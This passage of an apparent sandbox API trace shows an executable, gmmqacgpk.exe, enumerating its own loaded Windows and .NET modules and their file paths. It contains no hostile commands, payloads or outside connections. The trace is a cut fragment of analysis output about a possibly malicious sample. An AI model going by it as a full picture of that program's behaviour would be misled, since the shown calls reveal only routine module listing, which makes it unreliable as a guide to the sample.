0x7f [0033.545] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x292e60c, cb=0xc | out: lpmodinfo=0x292e60c*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0033.545] GetLastError () returned 0x7f [0033.545] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0033.546] GetLastError () returned 0x7f [0033.546] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0033.547] GetLastError () returned 0x7f [0033.547] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x292f744, cb=0xc | out: lpmodinfo=0x292f744*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0033.547] GetLastError () returned 0x7f [0033.547] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0033.548] GetLastError () returned 0x7f [0033.548] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0033.548] GetLastError () returned 0x7f [0033.549] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x29308d0, cb=0xc | out: lpmodinfo=0x29308d0*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0033.549] GetLastError () returned 0x7f [0033.549] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0033.550] GetLastError () returned 0x7f [0033.550] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0033.550] GetLastError () returned 0x7f [0033.550] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x2931a8c, cb=0xc | out: lpmodinfo=0x2931a8c*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0033.551] GetLastError () returned 0x7f [0033.551] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0033.552] GetLastError () returned 0x7f [0033.552] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0033.553] GetLastError () returned 0x7f [0033.553] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x2932c70, cb=0xc | out: lpmodinfo=0x2932c70*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0033.553] GetLastError () returned 0x7f [0033.553] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0033.554] GetLastError () returned 0x7f [0033.554] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0033.555] GetLastError () returned 0x7f [0033.555] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x2933e10, cb=0xc | out: lpmodinfo=0x2933e10*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0033.555] GetLastError () returned 0x7f [0033.555] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0033.556] GetLastError () returned 0x7f [0033.556] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0033.557] GetLastError () returned 0x7f [0033.557] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x2935034, cb=0xc | out: lpmodinfo=0x2935034*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0033.557] GetLastError () returned 0x7f [0033.557] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0033.558] GetLastError () returned 0x7f [0033.558] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0033.559] GetLastError () returned 0x7f [0033.559] CloseHandle (hObject=0x200) returned 1 [0033.559] GetLastError () returned 0x7f [0033.579] GetCurrentProcessId () returned 0xa60 [0033.579] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0033.579] GetLastError () returned 0x7f [0033.579] EnumProcessModules (in: hProcess=0x200, lphModule=0x29ac6ec, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x29ac6ec, lpcbNeeded=0x30cdb8) returned 1 [0033.580] GetLastError () returned 0x7f [0033.580] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x29ac82c, cb=0xc | out: lpmodinfo=0x29ac82c*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0033.580] GetLastError () returned 0x7f [0033.580] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0033.580] GetLastError () returned 0x7f [0033.580] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0033.581] GetLastError () returned 0x7f [0033.581] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x29ad974, cb=0xc | out: lpmodinfo=0x29ad974*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0033.581] GetLastError () returned 0x7f [0033.581] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0033.581] GetLastError () returned 0x7f [0033.581] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0033.581] GetLastError () returned 0x7f [0033.581] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x29aea68, cb=0xc | out: lpmodinfo=0x29aea68*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0033.582] GetLastError () returned 0x7f [0033.582] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0033.582] GetLastError () returned 0x7f [0033.582] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0033.582] GetLastError () returned 0x7f [0033.582] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x29afb64, cb=0xc | out: lpmodinfo=0x29afb64*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0033.582] GetLastError () returned 0x7f [0033.583] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0033.583] GetLastError () returned 0x7f [0033.583] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0033.583] GetLastError () returned 0x7f [0033.583] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x29b0c68, cb=0xc | out: lpmodinfo=0x29b0c68*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0033.583] GetLastError () returned 0x7f [0033.583] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0033.583] GetLastError () returned 0x7f [0033.584] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0033.584] GetLastError () returned 0x7f [0033.584] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x29b1da4, cb=0xc | out: lpmodinfo=0x29b1da4*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0033.584] GetLastError () returned 0x7f [0033.584] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0033.585] GetLastError () returned 0x7f [0033.585] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0033.585] GetLastError () returned 0x7f [0033.585] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x29b2ea8, cb=0xc | out: lpmodinfo=0x29b2ea8*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0033.585] GetLastError () returned 0x7f [0033.585] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0033.585] GetLastError () returned 0x7f [0033.586] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0033.586] GetLastError () returned 0x7f [0033.586] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x29b3fa4, cb=0xc | out: lpmodinfo=0x29b3fa4*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0033.586] GetLastError () returned 0x7f [0033.586] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0033.586] GetLastError () returned 0x7f [0033.587] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0033.587] GetLastError () returned 0x7f [0033.587] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x29b50a0, cb=0xc | out: lpmodinfo=0x29b50a0*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0033.587] GetLastError () returned 0x7f [0033.587] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0033.587] GetLastError () returned 0x7f [0033.588] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0033.588] GetLastError () returned 0x7f [0033.588] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x29b61ec, cb=0xc | out: lpmodinfo=0x29b61ec*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0033.588] GetLastError () returned 0x7f [0033.588] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0033.588] GetLastError () returned 0x7f [0033.589] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0033.589] GetLastError () returned 0x7f [0033.589] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x29b72e8, cb=0xc | out: lpmodinfo=0x29b72e8*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0033.589] GetLastError () returned 0x7f [0033.589] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0033.589] GetLastError () returned 0x7f [0033.590] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0033.590] GetLastError () returned 0x7f [0033.590] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x29b83ec, cb=0xc | out: lpmodinfo=0x29b83ec*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0033.590] GetLastError () returned 0x7f [0033.590] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0033.591] GetLastError () returned 0x7f [0033.591] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0033.591] GetLastError () returned 0x7f [0033.591] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x29b9524, cb=0xc | out: lpmodinfo=0x29b9524*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0033.591] GetLastError () returned 0x7f [0033.592] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0033.592] GetLastError () returned 0x7f [0033.592] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0033.592] GetLastError () returned 0x7f [0033.592] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x29ba620, cb=0xc | out: lpmodinfo=0x29ba620*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0033.593] GetLastError () returned 0x7f [0033.593] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0033.593] GetLastError () returned 0x7f [0033.593] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0033.594] GetLastError () returned 0x7f [0033.594] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x29bb714, cb=0xc | out: lpmodinfo=0x29bb714*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0033.594] GetLastError () returned 0x7f [0033.594] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0033.594] GetLastError () returned 0x7f [0033.595] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0033.595] GetLastError () returned 0x7f [0033.595] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x29bc810, cb=0xc | out: lpmodinfo=0x29bc810*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0033.595] GetLastError () returned 0x7f [0033.595] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0033.596] GetLastError () returned 0x7f [0033.596] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0033.596] GetLastError () returned 0x7f [0033.596] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x29bd8fc, cb=0xc | out: lpmodinfo=0x29bd8fc*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0033.596] GetLastError () returned 0x7f [0033.597] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0033.597] GetLastError () returned 0x7f [0033.597] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0033.597] GetLastError () returned 0x7f [0033.598] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x29bea80, cb=0xc | out: lpmodinfo=0x29bea80*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0033.598] GetLastError () returned 0x7f [0033.598] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0033.598] GetLastError () returned 0x7f [0033.598] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0033.599] GetLastError () returned 0x7f [0033.599] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x29bfb74, cb=0xc | out: lpmodinfo=0x29bfb74*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0033.599] GetLastError () returned 0x7f [0033.599] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0033.600] GetLastError () returned 0x7f [0033.600] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0033.601] GetLastError () returned 0x7f [0033.601] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x29c0c68, cb=0xc | out: lpmodinfo=0x29c0c68*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0033.601] GetLastError () returned 0x7f [0033.601] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0033.602] GetLastError () returned 0x7f [0033.602] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0033.602] GetLastError () returned 0x7f [0033.602] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x29c1d64, cb=0xc | out: lpmodinfo=0x29c1d64*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0033.603] GetLastError () returned 0x7f [0033.603] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0033.603] GetLastError () returned 0x7f [0033.603] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0033.604] GetLastError () returned 0x7f [0033.604] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x29c2e9c, cb=0xc | out: lpmodinfo=0x29c2e9c*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0033.604] GetLastError () returned 0x7f [0033.604] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0033.605] GetLastError () returned 0x7f [0033.605] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0033.605] GetLastError () returned 0x7f [0033.605] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x29c4030, cb=0xc | out: lpmodinfo=0x29c4030*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0033.606] GetLastError () returned 0x7f [0033.606] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0033.606] GetLastError () returned 0x7f [0033.607] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0033.607] GetLastError () returned 0x7f [0033.607] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x29c512c, cb=0xc | out: lpmodinfo=0x29c512c*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0033.607] GetLastError () returned 0x7f [0033.608] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0033.608] GetLastError () returned 0x7f [0033.608] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0033.609] GetLastError () returned 0x7f [0033.609] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x29c6220, cb=0xc | out: lpmodinfo=0x29c6220*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0033.609] GetLastError () returned 0x7f [0033.609] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0033.610] GetLastError () returned 0x7f [0033.610] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0033.610] GetLastError () returned 0x7f [0033.610] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x29c731c, cb=0xc | out: lpmodinfo=0x29c731c*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0033.611] GetLastError () returned 0x7f [0033.611] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0033.611] GetLastError () returned 0x7f [0033.612] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0033.612] GetLastError () returned 0x7f [0033.612] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x29c84b4, cb=0xc | out: lpmodinfo=0x29c84b4*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0033.613] GetLastError () returned 0x7f [0033.613] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0033.613] GetLastError () returned 0x7f [0033.613] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0033.614] GetLastError () returned 0x7f [0033.614] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x29c95b0, cb=0xc | out: lpmodinfo=0x29c95b0*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0033.614] GetLastError () returned 0x7f [0033.614] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, 